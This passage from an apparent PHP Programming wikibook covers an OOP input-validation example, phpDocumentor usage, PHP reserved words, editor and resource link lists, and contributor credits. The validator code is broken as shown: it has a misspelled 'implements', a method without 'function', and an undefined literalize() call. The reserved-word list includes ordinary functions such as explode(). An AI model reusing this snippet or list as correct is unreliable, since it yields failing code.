     * $pv->matchBool(memberCheck($pv->get('member')), 'The member is already
 registered')
     *
     * @access public
     * @param mixed $key
     * @return bool
     */
    public function _Validate_matchBool($bool) {
        return $bool ? true : false;
    }

}

?>
```

69 Input Validation

This is an example using the power of OOP with PHP5. This example can be used to validate different user inputs. This was moved by Wykis[1] from Kgrsajid[2]'s example on Programming:PHP[3].

```
interface Validator
{
  public function validate($value);
  public function getError();
}

abstract class AbstractValidator implement Validator
{
  protected $errors = array();
  public function __construct()
  {
    // Do Something
  }

  public function getError()
  {
    return $this->errors;
  }
}

class BooleanValidator extends AbstractValidator
{
  public function __construct()
  {
    // Do Something
  }

  public validate($value)
  {
    $return = literalize($value);
    if (!is_bool($value))
    {
      $this->errors[] = 'invalid_boolean';
      return false;
    }
    return true;
  }
}
```

1 https://en.wikibooks.org/w/index.php?title=User:Wykis&action=edit&redlink=1
2 https://en.wikibooks.org/wiki/User:Kgrsajid
3 https://en.wikibooks.org/wiki/Programming:PHP

70 phpDocumentor

phpDocumentor is a tool for automatically generating easily readable documentation for a piece of software using inline comments.

70.1 Why use phpDocumentor?

The ideal documentation has two properties. First, it should be easy to maintain and keep up to date. Secondly, it should be easy for the reader to read and navigate the document. These are often contradictory goals. By using tools just as javadoc[1] and phpDocumentor, you can achieve both. When writing the documentation, you simply insert special comments in your code. phpDocumentor will then parse your code an generate easy-to-use documentation in HTML, DocBook, or PDF.

70.2 Basic Usage

The comments which are picked up by phpDocumentor are C-style comments with two asterisks in the opening tag.

```
/**
 *
 */
```

These are known as DocBlock comments. By placing this before an element in your code, phpDocumentor will generate documentation for that element. For example, if I want to document the ”RhesusMacaque” class, I would place a DocBlock immediatley before it.

```
/**
 * This documents the Rhesus Macaque
 */
class RhesusMacaque
{
...
```

See elements documented by phpDocumentor[2].

1 https://en.wikipedia.org/wiki/Javadoc
2 #Elements_Documented_By_phpDocumentor

70.3 Format of a phpDocumentor comment

There are three sections to a phpDocumentor DocBlock. The first is a short summary of the code element, which should be no more than a sentence. Next is a few sentences describing the element in more detail, which are optional. Finally, there is a sequence of tags[3].

```
/**
 * The Rhesus Macaques rule the world through a secret conspiracy
 *
 * The Rhesus Macaques have been quietly watching human civilization
 * for centuries.  They have quietly influenced events through a
 * variety of mechanisms.  See class members for more details.
 *
 */
 class RhesusMacaque
 {
 ...
```

70.4 Tags

Tags can be inserted into DocBlocks to describe certain parts of a code element in more detail. They provide data such as the return type of a function, or the author of a piece of code. They are marked by an '@' symbol, and take the form

```
* @tagname properties
```

Each element type has a different set of tags which describe it. See elements documented by phpDocumentor[4].

70.5 Inline tags

70.6 Elements Documented By phpDocumentor

70.7 Generating Documentation

A command such as

```
phpdoc --target /var/www/phpdoc --output "HTML:Smarty:php" --directory
 /var/www/app --filename **/*.php
```

will generate documentation from the PHP files found in /var/www/app.

For a complete list of output formats, see the PhpDocumentor website[5].

Note that the value of the output parameter is case-sensitive.

3 #Tags

4 #Elements_Documented_By_phpDocumentor

5 http://manual.phpdoc.org/HTMLSmartyConverter/PHP/phpDocumentor/tutorial_phpDocumentor.howto.pkg.html#using.command-line.output

70.7.1 Errors

Converter HTMLsmartyConverter specified by –output command-line option is not a class

The 's' in 'smarty' should be uppercase.

template directory "/var/www/pear/PhpDocumentor/phpDocumentor/Converters/HTML/Smarty/templates/php/" does not exist

The 'php' should be uppercase.

70.8 External Links

- phpDocumentor homepage[6]
- phpDOC homepage[7]

6 http://phpdoc.org/
7 http://www.phpdoc.de/

71 Reserved Words

71.1 PHP words

List of the 72 reserved words by alphabetical order:

```
__CLASS__
__DIR__
__FILE__
__FUNCTION__
__LINE__
__METHOD__
__NAMESPACE__
abstract
and
array()
as
break
case
catch
cfunction ''(PHP 4)''
class
clone
const
continue
declare
default
die()
do
echo()
else
elseif
empty()
enddeclare
endfor
endforeach
endif
endswitch
endwhile
eval()
exit()
explode()
extends
final
for
foreach
function
global
goto
if
implements
include_once()
include()
instanceof
interface
isset()
list()
```

```
namespace
new
old_function ''(PHP 4)''
or
print()
private
protected
public
require_once()
require()
return()
split() ''(PHP < 5.3)''
static
switch
throw
try
unset()
use
var
while
xor
```

71.2 PHP7 news

Several composed operators can reduce the usual syntax:

- `??`: null coalescing operator[1]. Equivalent to a ternary operator with an `is_null()`.
- `<=>`: spaceship operator[2]. Equivalent to a `switch` with three cases: inferior, equal and superior.
- `intdiv()`: integer division. Equivalent to `/` + `intval()`.

Moreover, we can now use:

- several classes in the same `use` declaration.
- `define()` to set an array of constants.

71.3 Extensions

List of the 48 native PHP 5.5.0 libraries with EasyPHP:

```
Core
PDO
Phar
Reflection
SPL
SimpleXML
apache2handler
bcmath
bz2
calendar
ctype
curl
date
dom
```

1 https://en.wikipedia.org/wiki/null_coalescing_operator
2 https://en.wikipedia.org/wiki/spaceship_operator

```
ereg
filter
ftp
gd
hash
iconv
json
libxml
mbstring
mcrypt
mhash
mysql
mysqli
mysqlnd
odbc
openssl
pcre
pdo_mysql
pdo_sqlite
pdo_sqlsrv
session
sockets
sqlite3
sqlsrv
standard
tokenizer
wddx
xdebug
xml
xmlreader
xmlwriter
xsl
zip
zlib
```

72 Contributors

- ahc[1]: Significant editing to existing sections.
- banzaimonkey[2]: Formatting changes and editing.
- Bolo[3]: working on Flat Frog section.
- Bumppo[4]: Started object-oriented PHP section
- Charles Iliya Krempeaux[5]: Added PHP CLI section. Minor cleanups on existing sections. Added PHP-GTK section.
- Douglas Clifton[6]: New editor. Hoping to add more soon!
- IBB[7]: See profile.
- immortalgeek[8]: Added some php web links to Resource section.
- JackPotte[9]: added the pages: images, reserved words, regex, HTTP headers, encryption and the print version.
- James Booker[10]: Minor corrections. Hoping to add more content in time.
- Jatkins[11]: PHP 4 & 5 examples, and PHP 5 only examples.
- Justin Kestelyn: Added a link in Resources.
- Kander[12]: Minor edits to the PHP and MySQL section.
- KGR Sajid[13]: PHP5 editor. Also edited some other minor things.
- Liu Chang[14]: Added "Setting up PHP" section. Hoping to add more in time
- Meemo[15]: Some small edits, fixing a few scripts and the spelling of Rumpelstiltskin. ;)
- Monkeymatt[16]: Fixed some typos, fixed the templating section.
- programmabilities[17]: Minor edits.
- Qrc[18]: Started initial page for Configuration:Register Globals.
- Sae1962[19]: Added navigation template & made minor corrections/edits.

---

1 https://en.wikibooks.org/w/index.php?title=User:Ahc&action=edit&redlink=1
2 https://en.wikipedia.org/wiki/User:Banzaimonkey
3 https://en.wikibooks.org/w/index.php?title=User:Bolo&action=edit&redlink=1
4 https://en.wikibooks.org/w/index.php?title=User:Bumppo&action=edit&redlink=1
5 https://en.wikibooks.org/w/index.php?title=User:Charles_Iliya_Krempeaux&action=edit&redlink=1
6 https://en.wikibooks.org/w/index.php?title=User:Dwclifton&action=edit&redlink=1
7 https://en.wikibooks.org/w/index.php?title=User:IBB&action=edit&redlink=1
8 https://en.wikibooks.org/wiki/User:Immortalgeek
9 https://en.wikibooks.org/wiki/User:JackPotte
10 https://en.wikibooks.org/wiki/User:Jamesbooker
11 https://en.wikibooks.org/wiki/User:Jatkins
12 https://en.wikibooks.org/wiki/User:Kander
13 https://en.wikibooks.org/wiki/User:Kgrsajid
14 https://en.wikibooks.org/w/index.php?title=User:Liuchangjohn&action=edit&redlink=1
15 https://en.wikibooks.org/w/index.php?title=User:Chesemonkyloma&action=edit&redlink=1
16 https://en.wikibooks.org/wiki/User:Monkeymatt
17 https://en.wikibooks.org/wiki/User:Programmabilities
18 https://en.wikipedia.org/wiki/User:Qrc
19 https://en.wikibooks.org/wiki/User:Sae1962

- Sam Wilson[20]: Elaboration on session fixation.
- scorphus[21]: Fixes in installation procedures on Debian systems (to conform standards - we now use aptitude)
- Spoom[22]: Original *for* and *switch...case* articles, various reformatting and additions.
- Wykis[23]: Working on Smarty section, foreach, arrays, sessions, all basic programming

20 https://en.wikibooks.org/wiki/User:Samwilson
21 https://en.wikibooks.org/w/index.php?title=User:Scorphus&action=edit&redlink=1
22 https://en.wikibooks.org/wiki/User:Spoom
23 https://en.wikibooks.org/w/index.php?title=User:Wykis&action=edit&redlink=1

73 Editors

For reviews of numerous PHP editors, see PHP-editors[1].

- BBedit[2], Programmers Code Editor made by Bare Bones Software (Mac OS X[3])
- Bluefish[4] - PHP Open Source editor (Linux[5]/Unix[6])
- Codelobster PHP Edition[7] - free portable PHP IDE with support Drupal, Joomla, Smarty, JQuery, CodeIgniter, CakePHP, Symfony, Yii and WordPress. (Windows[8])
- Dev-PHP[9] - Full-featured IDE for PHP (Windows[10])
- Dreamweaver[11] - PHP/HTML/CFML Integrated Developer Environment (Windows[12]/Mac OS X[13])
- Emacs[14] - Emacs is the extensible, customizable, self-documenting real-time display editor. Supports PHP by php-mode.el[15] (Most platforms) (GPL License)* gPHPEdit[16] - PHP/HTML For the GNOME Desktop (Linux[17])
- Enginsite[18] - Fully loaded with just about everything that you would expect from a modern software development environment (Windows[19])
- Kantharos IDE[20] - Rapid php scripting with built in debugger (Windows[21])
- Komodo IDE[22] - IDE for PHP, Perl, Python, Ruby, Javascript and others. (Windows[23]/Linux[24]/Mac OS X[25])

---

1 http://www.php-editors.com/
2 http://www.barebones.com/products/bbedit
3 https://en.wikibooks.org/wiki/Mac_OS_X
4 http://bluefish.openoffice.nl
5 https://en.wikibooks.org/wiki/Linux
6 https://en.wikibooks.org/wiki/Unix
7 http://www.codelobster.com
8 https://en.wikibooks.org/wiki/Windows
9 http://devphp.sourceforge.net/
10 https://en.wikibooks.org/wiki/Windows
11 http://www.adobe.com/products/dreamweaver/
12 https://en.wikibooks.org/wiki/Windows
13 https://en.wikibooks.org/wiki/Mac_OS_X
14 http://www.gnu.org/software/emacs/
15 http://php-mode.sourceforge.net/
16 http://www.gphpedit.org/
17 https://en.wikibooks.org/wiki/Linux
18 http://www.enginsite.com
19 https://en.wikibooks.org/wiki/Windows
20 http://sourceforge.net/projects/kantharos/
21 https://en.wikibooks.org/wiki/Windows
22 http://www.activestate.com/Products/komodo_ide/index.mhtml
23 https://en.wikibooks.org/wiki/Windows
24 https://en.wikibooks.org/wiki/Linux
25 https://en.wikibooks.org/wiki/Mac_OS_X

- Jedit[26] - Open Source editor that has many PHP-centric plugins available such as error checking, ftp & structure browser (Windows[27]/Linux[28]/Mac OS X[29])
- KDevelop[30] - Integrated Development Environment (Linux[31]/Unix[32])
- Kate[33] - Supports a variety of network protocols transparently, kde style - lighter than KDevelop (Linux[34]/Unix[35])
- NetBeans PHP IDE[36] - NetBeans PHP IDE (Windows[37]/Linux[38]/Mac OS X[39])
- Notepad[40] - The built-in editor in Windows.
- Notepad++[41] - A great upgrade to Notepad, brings many new features.
- NuSphere PhpED[42] - PHP IDE with support for HTML, CSS, XML, SMARTY, XHTML and other with a powerful debugger. (Windows[43]/Linux[44])
- PHP Designer[45] - Free (deprecated) PHP editor (Windows[46])
- PHPEclipse[47] - PHP module for Eclipse IDE (Windows[48]/Linux[49]/Mac OS X[50])
- PHPEdit[51] - A nice PHP Editor for Windows (Windows[52])
- PHPRunner[53] - Wizard-based interface development (Windows[54])
- PhpStorm[55] - Commercial feature-rich PHP IDE from JetBrains[56] (Windows[57]/Mac OS X[58]/Linux[59]).

26 http://jedit.org/
27 https://en.wikibooks.org/wiki/Windows
28 https://en.wikibooks.org/wiki/Linux
29 https://en.wikibooks.org/wiki/Mac_OS_X
30 http://www.kdevelop.org
31 https://en.wikibooks.org/wiki/Linux
32 https://en.wikibooks.org/wiki/Unix
33 http://kate.kde.org/
34 https://en.wikibooks.org/wiki/Linux
35 https://en.wikibooks.org/wiki/Unix
36 http://php.netbeans.org/
37 https://en.wikibooks.org/wiki/Windows
38 https://en.wikibooks.org/wiki/Linux
39 https://en.wikibooks.org/wiki/Mac_OS_X
40 http://www.notepad.org/
41 http://notepad-plus.sourceforge.net/uk/site.htm
42 http://www.nusphere.com/products/phped.htm
43 https://en.wikibooks.org/wiki/Windows
44 https://en.wikibooks.org/wiki/Linux
45 http://www.mpsoftware.dk/phpdesigner.php
46 https://en.wikibooks.org/wiki/Windows
47 http://www.phpeclipse.net/
48 https://en.wikibooks.org/wiki/Windows
49 https://en.wikibooks.org/wiki/Linux
50 https://en.wikibooks.org/wiki/Mac_OS_X
51 http://www.waterproof.fr/
52 https://en.wikibooks.org/wiki/Windows
53 http://www.phprunner.com/
54 https://en.wikibooks.org/wiki/Windows
55 http://www.jetbrains.com/phpstorm
56 http://www.jetbrains.com
57 https://en.wikibooks.org/wiki/Windows
58 https://en.wikibooks.org/wiki/Mac_OS_X
59 https://en.wikibooks.org/wiki/Linux

- Quanta Plus[60] - KDE based editor, supporting PHP and other markup languages (Linux[61]) (GPL License)
- SciTE[62] - Scintilla-based editor (Windows[63]/Linux[64])
- Taco HTML Edit[65] - PHP/HTML editor with live previews of generated pages (Mac OS X[66])
- TextMate[67] - Programmers code and markup editor with support for PHP (Mac OS X[68])
- Trustudio[69] - PHP IDE built on Eclipse (Windows[70]/Linux[71]/Mac OS X[72])
- Vim[73] - Terminal-based text editor, supporting PHP markup (Most platforms) (GPL License)
- Weaverslave[74] - Open source editor, supporting PHP and other markup languages (Open Source[75]) (Windows[76]) (Custom License)
- Zend[77] - Zend Development Enviroment by Zend - The PHP company (Windows[78]/Linux[79]/Mac OS X[80])

60 http://quanta.kdewebdev.org/
61 https://en.wikibooks.org/wiki/Linux
62 http://scintilla.org/SciTE.html
63 https://en.wikibooks.org/wiki/Windows
64 https://en.wikibooks.org/wiki/Linux
65 http://tacosw.com/index.php
66 https://en.wikibooks.org/wiki/Mac_OS_X
67 http://macromates.com/
68 https://en.wikibooks.org/wiki/Mac_OS_X
69 http://www.xored.com/trustudio
70 https://en.wikibooks.org/wiki/Windows
71 https://en.wikibooks.org/wiki/Linux
72 https://en.wikibooks.org/wiki/Mac_OS_X
73 http://www.vim.org/
74 http://www.weaverslave.ws/
75 https://en.wikibooks.org/wiki/Open_Source
76 https://en.wikibooks.org/wiki/Windows
77 http://www.zend.com/
78 https://en.wikibooks.org/wiki/Windows
79 https://en.wikibooks.org/wiki/Linux
80 https://en.wikibooks.org/wiki/Mac_OS_X

74 Resources

Wikipedia[1] has related information at ***PHP***[2]

- Beginners PHP[3] - Tutorials and resources.
- Computer-Books.us[4] - A collection of PHP books available for free download.
- EvilWalrus.org[5] - Hundreds of user-contributed scripts and articles; tagged and searchable.
- From C/C++ to PHP[6] Most people program in C++ but not in PHP. This tutorial will explain the important differences.
- getphp.net[7] - PHP and MySQL resources.
- Good PHP Tutorials[8] - A categorized collection of PHP tutorials.
- Hotscripts.com :: PHP[9] - A very good PHP portal.
- Mojavi[10] - One of the most popular MVC framework of PHP.
- Notepad++[11] - Very simple yet effective source code editor. Supports highlighting and folding.
- NuTutorials PHP Section[12] - Categorized tutorials (~500) for PHP.
- PHP-CLI.COM[13] All about PHP Command Line Interface (CLI).
- PHP-Help.net: PHP codes, PHP scripts, PHP examples[14] - PHP help, PHP codes examples, PHP scripts.
- PHP-Resources.org[15] - Tutorials, docs, newgroups and scripts.
- PHP Books[16] - A large collection of PHP books.
- PHP Books [17] - A large collection of PHP-related books.
- PHP Book Chapters[18] - Sample PHP books chapters, read online.
- PHP Builder[19] - A website for PHP news, articles, code library, forums, etc.

---

1 https://en.wikipedia.org/wiki/
2 https://en.wikipedia.org/wiki/PHP
3 http://www.beginnersphp.co.uk
4 http://www.computer-books.us/php.php
5 http://www.evilwalrus.org
6 http://alexeysmirnov.name/blog/?page_id=108
7 http://www.getphp.net/
8 http://www.goodphptutorials.com
9 http://www.hotscripts.com/php/
10 http://mojavi.org
11 http://notepad-plus.sourceforge.net/
12 http://nututorials.com/tutorials/PHP
13 http://www.php-cli.com
14 http://www.php-help.net/
15 http://www.php-resources.org/
16 http://www.books4web.com/books/PHP/
17 http://www.packtpub.com/books/topic/2
18 http://www.php-editors.com/chapters/
19 http://www.phpbuilder.com/

- PHP Developers Network[20] - Network of PHP-resource driven websites.
- PHP Documentation[21] - Searchable documentation with user comments.
- PHP Form tutorials[22]- php tutorials for beginners!
- PHP MySQL Tutorial[23] - Very good beginners tutorial.
- PHP Programming Tutorials[24] - PHP tutorials, focused on beginners.
- PHP Resource Index[25] - Another nice PHP portals for various PHP resources.
- PHP Sample Code on Zedwood[26] - Generate PDFs, XLS files, CSVs, parse xml, analyze mp3s all with php.
- PHP Screencast Tutorials[27] - Screencasts, PDF, and source code for learning PHP.
- PHP Web Application Component Toolkit [28] - It's a wiki.
- PHPFreaks.com[29] - Learn PHP, PHP Tutorials / How-to, code examples, PHP scripts.
- PHPIndonesia.com[30] - The leading PHP knowledge base in Indonesia that using Wiki format.
- PHPPatterns[31] - Raising awareness and bringing PHP to the Enterprise Creating understanding of PHP's Advanced Capabilities.
- PHPSC[32] - PHP Security Consortium. Guides, etc. on security in PHP code.
- *Practical PHP Programming*[33]: Paul Hudson's excellent beginner-expert guide to PHP.
- Programmabilities.com[34] - PHP scripts and tutorials.
- Quicknet[35] - A PHP AJAX Framework that Provides Secure Data Transmission.
- SELFPHP[36] - A very good PHP portal. Searchable documentation with examples, PHP Code Book, Code library, forums and Tutorials.
- Symfony[37] - Advanced MVC[38] framework for PHP.
- The Oracle+PHP Cookbook[39] - Explore a broad range of HowTos for leveraging Oracle's PL/SQL APIs in PHP applications.
- The PHP Manual[40] - Extensive information about PHP.
- PHP.net[41] - The PHP website. This is where you go to both get PHP[42] and to read the documentation[43].

20 http://www.devnetwork.net/
21 http://www.php.net/docs.php
22 http://phpforms.net/tutorial/tutorial.html/
23 http://www.php-mysql-tutorial.com/
24 http://php-programming-tutorial.com/
25 http://php.resourceindex.com/
26 http://www.zedwood.com/articles?tag=php
27 http://www.TheWebLessons.com
28 http://phpwact.org/
29 http://phpfreaks.com/
30 http://www.phpindonesia.com/
31 http://www.phppatterns.com/
32 http://www.phpsec.org/
33 http://www.tuxradar.com/practicalphp
34 http://www.programmabilities.com/
35 http://www.myquicknet.com/
36 http://www.selfphp.de
37 http://www.symfony-project.com
38 https://en.wikipedia.org/wiki/Model-View-Controller
39 http://www.oracle.com/technology/pub/articles/oracle_php_cookbook/index.html
40 http://www.php.net/manual/en/index.php
41 http://php.net/
42 http://php.net/downloads.php
43 http://php.net/docs.php

- W3Schools[44] - Quick start with PHP for beginners.

- This page was last edited on 29 June 2024, at 16:54.
- Text is available under the Creative Commons Attribution-ShareAlike License[45]; additional terms may apply. By using this site, you agree to the Terms of Use[46] and Privacy Policy.[47]

44 http://www.w3schools.com/php/default.asp
45 http://creativecommons.org/licenses/by-sa/4.0/
46 http://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Terms_of_Use
47 http://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Privacy_policy

75 Contributors

Edits	User
1	1234qwer1234qwer4[1]
1	94rain[2]
10	A3nm[3]
1	Abramsky[4]
1	Abu.3abed.2010[5]
34	AdRiley[6]
2	Adjohnson916[7]
1	Adorton[8]
88	Adrignola[9]
4	Adz~enwikibooks[10]
1	Agusbou2015[11]
26	Ahc~enwikibooks[12]
1	AkbarPasha[13]
1	Akorsun[14]
2	Alejo2083[15]
1	Aleksev[16]
2	Alsocal[17]
1	Anakriza[18]
6	Anan5a[19]
1	Andrew Hampe[20]

1 https://en.wikibooks.org/wiki/User:1234qwer1234qwer4
2 https://en.wikibooks.org/wiki/User:94rain
3 https://en.wikibooks.org/wiki/User:A3nm
4 https://en.wikibooks.org/w/index.php%3ftitle=User:Abramsky&action=edit&redlink=1
5 https://en.wikibooks.org/w/index.php%3ftitle=User:Abu.3abed.2010&action=edit&redlink=1
6 https://en.wikibooks.org/wiki/User:AdRiley
7 https://en.wikibooks.org/w/index.php%3ftitle=User:Adjohnson916&action=edit&redlink=1
8 https://en.wikibooks.org/wiki/User:Adorton
9 https://en.wikibooks.org/wiki/User:Adrignola
10 https://en.wikibooks.org/w/index.php%3ftitle=User:Adz~enwikibooks&action=edit&redlink=1
11 https://en.wikibooks.org/wiki/User:Agusbou2015
12 https://en.wikibooks.org/wiki/User:Ahc~enwikibooks
13 https://en.wikibooks.org/w/index.php%3ftitle=User:AkbarPasha&action=edit&redlink=1
14 https://en.wikibooks.org/w/index.php%3ftitle=User:Akorsun&action=edit&redlink=1
15 https://en.wikibooks.org/wiki/User:Alejo2083
16 https://en.wikibooks.org/wiki/User:Aleksev
17 https://en.wikibooks.org/wiki/User:Alsocal
18 https://en.wikibooks.org/w/index.php%3ftitle=User:Anakriza&action=edit&redlink=1
19 https://en.wikibooks.org/w/index.php%3ftitle=User:Anan5a&action=edit&redlink=1
20 https://en.wikibooks.org/wiki/User:Andrew_Hampe

4 Ans[21]
4 Approxhuman[22]
3 Aquinas~enwikibooks[23]
2 Arancaytar[24]
1 ArchiSchmedes[25]
1 Artevelde[26]
1 Arthaey~enwikibooks[27]
2 Atcovi[28]
1 Atelaes[29]
6 Austinb[30]
1 AxelCK~enwikibooks[31]
3 Az1568[32]
19 Banzaimonkey[33]
1 Basitjee[34]
3 Bastones~enwikibooks[35]
2 Beanstew[36]
2 Billinghurst[37]
3 BimBot[38]
2 Bngsudheer[39]
4 Boit[40]
1 Bruce89[41]
2 Bumppo[42]
2 C5st4wr6ch[43]
1 CWii[44]

21 https://en.wikibooks.org/wiki/User:Ans
22 https://en.wikibooks.org/w/index.php%3ftitle=User:Approxhuman&action=edit&redlink=1
23 https://en.wikibooks.org/w/index.php%3ftitle=User:Aquinas~enwikibooks&action=edit&redlink=1
24 https://en.wikibooks.org/w/index.php%3ftitle=User:Arancaytar&action=edit&redlink=1
25 https://en.wikibooks.org/wiki/User:ArchiSchmedes
26 https://en.wikibooks.org/wiki/User:Artevelde
27 https://en.wikibooks.org/w/index.php%3ftitle=User:Arthaey~enwikibooks&action=edit&redlink=1
28 https://en.wikibooks.org/wiki/User:Atcovi
29 https://en.wikibooks.org/wiki/User:Atelaes
30 https://en.wikibooks.org/w/index.php%3ftitle=User:Austinb&action=edit&redlink=1
31 https://en.wikibooks.org/w/index.php%3ftitle=User:AxelCK~enwikibooks&action=edit&redlink=1
32 https://en.wikibooks.org/wiki/User:Az1568
33 https://en.wikibooks.org/wiki/User:Banzaimonkey
34 https://en.wikibooks.org/w/index.php%3ftitle=User:Basitjee&action=edit&redlink=1
35 https://en.wikibooks.org/w/index.php%3ftitle=User:Bastones~enwikibooks&action=edit&redlink=1
36 https://en.wikibooks.org/w/index.php%3ftitle=User:Beanstew&action=edit&redlink=1
37 https://en.wikibooks.org/wiki/User:Billinghurst
38 https://en.wikibooks.org/wiki/User:BimBot
39 https://en.wikibooks.org/w/index.php%3ftitle=User:Bngsudheer&action=edit&redlink=1
40 https://en.wikibooks.org/wiki/User:Boit
41 https://en.wikibooks.org/wiki/User:Bruce89
42 https://en.wikibooks.org/w/index.php%3ftitle=User:Bumppo&action=edit&redlink=1
43 https://en.wikibooks.org/wiki/User:C5st4wr6ch
44 https://en.wikibooks.org/wiki/User:CWii

1 Caliburn[45]
4 Candreacchio[46]
1 CarsracBot[47]
2 Cburnett[48]
3 Cedar101[49]
1 Certificationportal[50]
8 Charles Iliya Krempeaux~enwikibooks[51]
3 Chazz[52]
1 Chealer[53]
2 Chesemonkyloma[54]
2 Chuckhoffmann[55]
1 Codelobster[56]
1 Cometstyles[57]
2 Dallas1278[58]
2 Dandaman32~enwikibooks[59]
101 DannyS712[60]
1 Dannyniu[61]
10 Darklama[62]
2 Dasch~enwikibooks[63]
1 DeirdreAnne[64]
7 Derbeth[65]
1 Deskoop[66]
12 Dirk Hünniger[67]
4 Dirk gently~enwikibooks[68]

45 https://en.wikibooks.org/wiki/User:Caliburn
46 https://en.wikibooks.org/w/index.php%3ftitle=User:Candreacchio&action=edit&redlink=1
47 https://en.wikibooks.org/wiki/User:CarsracBot
48 https://en.wikibooks.org/wiki/User:Cburnett
49 https://en.wikibooks.org/w/index.php%3ftitle=User:Cedar101&action=edit&redlink=1
50 https://en.wikibooks.org/w/index.php%3ftitle=User:Certificationportal&action=edit&redlink=1
51 https://en.wikibooks.org/wiki/User:Charles_Iliya_Krempeaux~enwikibooks
52 https://en.wikibooks.org/wiki/User:Chazz
53 https://en.wikibooks.org/w/index.php%3ftitle=User:Chealer&action=edit&redlink=1
54 https://en.wikibooks.org/w/index.php%3ftitle=User:Chesemonkyloma&action=edit&redlink=1
55 https://en.wikibooks.org/wiki/User:Chuckhoffmann
56 https://en.wikibooks.org/w/index.php%3ftitle=User:Codelobster&action=edit&redlink=1
57 https://en.wikibooks.org/wiki/User:Cometstyles
58 https://en.wikibooks.org/w/index.php%3ftitle=User:Dallas1278&action=edit&redlink=1
59 https://en.wikibooks.org/w/index.php%3ftitle=User:Dandaman32~enwikibooks&action=edit&redlink=1
60 https://en.wikibooks.org/wiki/User:DannyS712
61 https://en.wikibooks.org/w/index.php%3ftitle=User:Dannyniu&action=edit&redlink=1
62 https://en.wikibooks.org/wiki/User:Darklama
63 https://en.wikibooks.org/w/index.php%3ftitle=User:Dasch~enwikibooks&action=edit&redlink=1
64 https://en.wikibooks.org/wiki/User:DeirdreAnne
65 https://en.wikibooks.org/wiki/User:Derbeth
66 https://en.wikibooks.org/w/index.php%3ftitle=User:Deskoop&action=edit&redlink=1
67 https://en.wikibooks.org/wiki/User:Dirk_H%25C3%25BCnniger
68 https://en.wikibooks.org/w/index.php%3ftitle=User:Dirk_gently~enwikibooks&action=edit&redlink=1

1 Doctoradel[69]
6 Dougdrenkow[70]
1 Drawde83~enwikibooks[71]
23 Dreftymac[72]
3 Dyadix[73]
3 Ed Poor[74]
3 EdoDodo[75]
2 Elton[76]
1 Englishman69~enwikibooks[77]
2 Enter a username here[78]
18 EvanCarroll[79]
1 EzraBynx[80]
2 F l a n k e r[81]
1 Federhalter[82]
5 Fender0107401[83]
32 Fishpi[84]
1 Frozen Wind[85]
5 Fyorl[86]
1 Gavin86~enwikibooks[87]
3 Gentgeen[88]
5 Geocachernemesis[89]
1 Gmlk~enwikibooks[90]
12 Gogoplata1234[91]
1 Greenbreen[92]

69 https://en.wikibooks.org/w/index.php%3ftitle=User:Doctoradel&action=edit&redlink=1
70 https://en.wikibooks.org/w/index.php%3ftitle=User:Dougdrenkow&action=edit&redlink=1
71 https://en.wikibooks.org/wiki/User:Drawde83~enwikibooks
72 https://en.wikibooks.org/wiki/User:Dreftymac
73 https://en.wikibooks.org/w/index.php%3ftitle=User:Dyadix&action=edit&redlink=1
74 https://en.wikibooks.org/wiki/User:Ed_Poor
75 https://en.wikibooks.org/wiki/User:EdoDodo
76 https://en.wikibooks.org/wiki/User:Elton
77 https://en.wikibooks.org/w/index.php%3ftitle=User:Englishman69~enwikibooks&action=edit&redlink=1
78 https://en.wikibooks.org/w/index.php%3ftitle=User:Enter_a_username_here&action=edit&redlink=1
79 https://en.wikibooks.org/wiki/User:EvanCarroll
80 https://en.wikibooks.org/w/index.php%3ftitle=User:EzraBynx&action=edit&redlink=1
81 https://en.wikibooks.org/wiki/User:F_l_a_n_k_e_r
82 https://en.wikibooks.org/wiki/User:Federhalter
83 https://en.wikibooks.org/w/index.php%3ftitle=User:Fender0107401&action=edit&redlink=1
84 https://en.wikibooks.org/w/index.php%3ftitle=User:Fishpi&action=edit&redlink=1
85 https://en.wikibooks.org/wiki/User:Frozen_Wind
86 https://en.wikibooks.org/w/index.php%3ftitle=User:Fyorl&action=edit&redlink=1
87 https://en.wikibooks.org/w/index.php%3ftitle=User:Gavin86~enwikibooks&action=edit&redlink=1
88 https://en.wikibooks.org/wiki/User:Gentgeen
89 https://en.wikibooks.org/wiki/User:Geocachernemesis
90 https://en.wikibooks.org/w/index.php%3ftitle=User:Gmlk~enwikibooks&action=edit&redlink=1
91 https://en.wikibooks.org/w/index.php%3ftitle=User:Gogoplata1234&action=edit&redlink=1
92 https://en.wikibooks.org/wiki/User:Greenbreen

13 Greggreg[93]
1 GumbaGumba[94]
4 Hagindaz[95]
2 Happy5214[96]
3 Harm.frielink[97]
9 Hashar[98]
3 Herbythyme[99]
1 Holdoffhunger[100]
7 Hyad~enwikibooks[101]
1 Hyperlink[102]
1 I already forgot~enwikibooks[103]
10 IBB~enwikibooks[104]
2 Insomniaque[105]
1 JDBurnZ[106]
64 JackBot[107]
156 JackPotte[108]
1 Jad~enwikibooks[109]
1 Jatkins[110]
1 Jaxl[111]
1 JenVan[112]
11 Jeshii~enwikibooks[113]
45 Jguk[114]
1 Jianhui67[115]
2 Jikanter~enwikibooks[116]
1 JohnWhitlock[117]

93 https://en.wikibooks.org/w/index.php%3ftitle=User:Greggreg&action=edit&redlink=1
94 https://en.wikibooks.org/w/index.php%3ftitle=User:GumbaGumba&action=edit&redlink=1
95 https://en.wikibooks.org/wiki/User:Hagindaz
96 https://en.wikibooks.org/wiki/User:Happy5214
97 https://en.wikibooks.org/wiki/User:Harm.frielink
98 https://en.wikibooks.org/wiki/User:Hashar
99 https://en.wikibooks.org/wiki/User:Herbythyme
100 https://en.wikibooks.org/wiki/User:Holdoffhunger
101 https://en.wikibooks.org/w/index.php%3ftitle=User:Hyad~enwikibooks&action=edit&redlink=1
102 https://en.wikibooks.org/wiki/User:Hyperlink
103 https://en.wikibooks.org/wiki/User:I_already_forgot~enwikibooks
104 https://en.wikibooks.org/wiki/User:IBB~enwikibooks
105 https://en.wikibooks.org/w/index.php%3ftitle=User:Insomniaque&action=edit&redlink=1
106 https://en.wikibooks.org/w/index.php%3ftitle=User:JDBurnZ&action=edit&redlink=1
107 https://en.wikibooks.org/wiki/User:JackBot
108 https://en.wikibooks.org/wiki/User:JackPotte
109 https://en.wikibooks.org/w/index.php%3ftitle=User:Jad~enwikibooks&action=edit&redlink=1
110 https://en.wikibooks.org/wiki/User:Jatkins
111 https://en.wikibooks.org/wiki/User:Jaxl
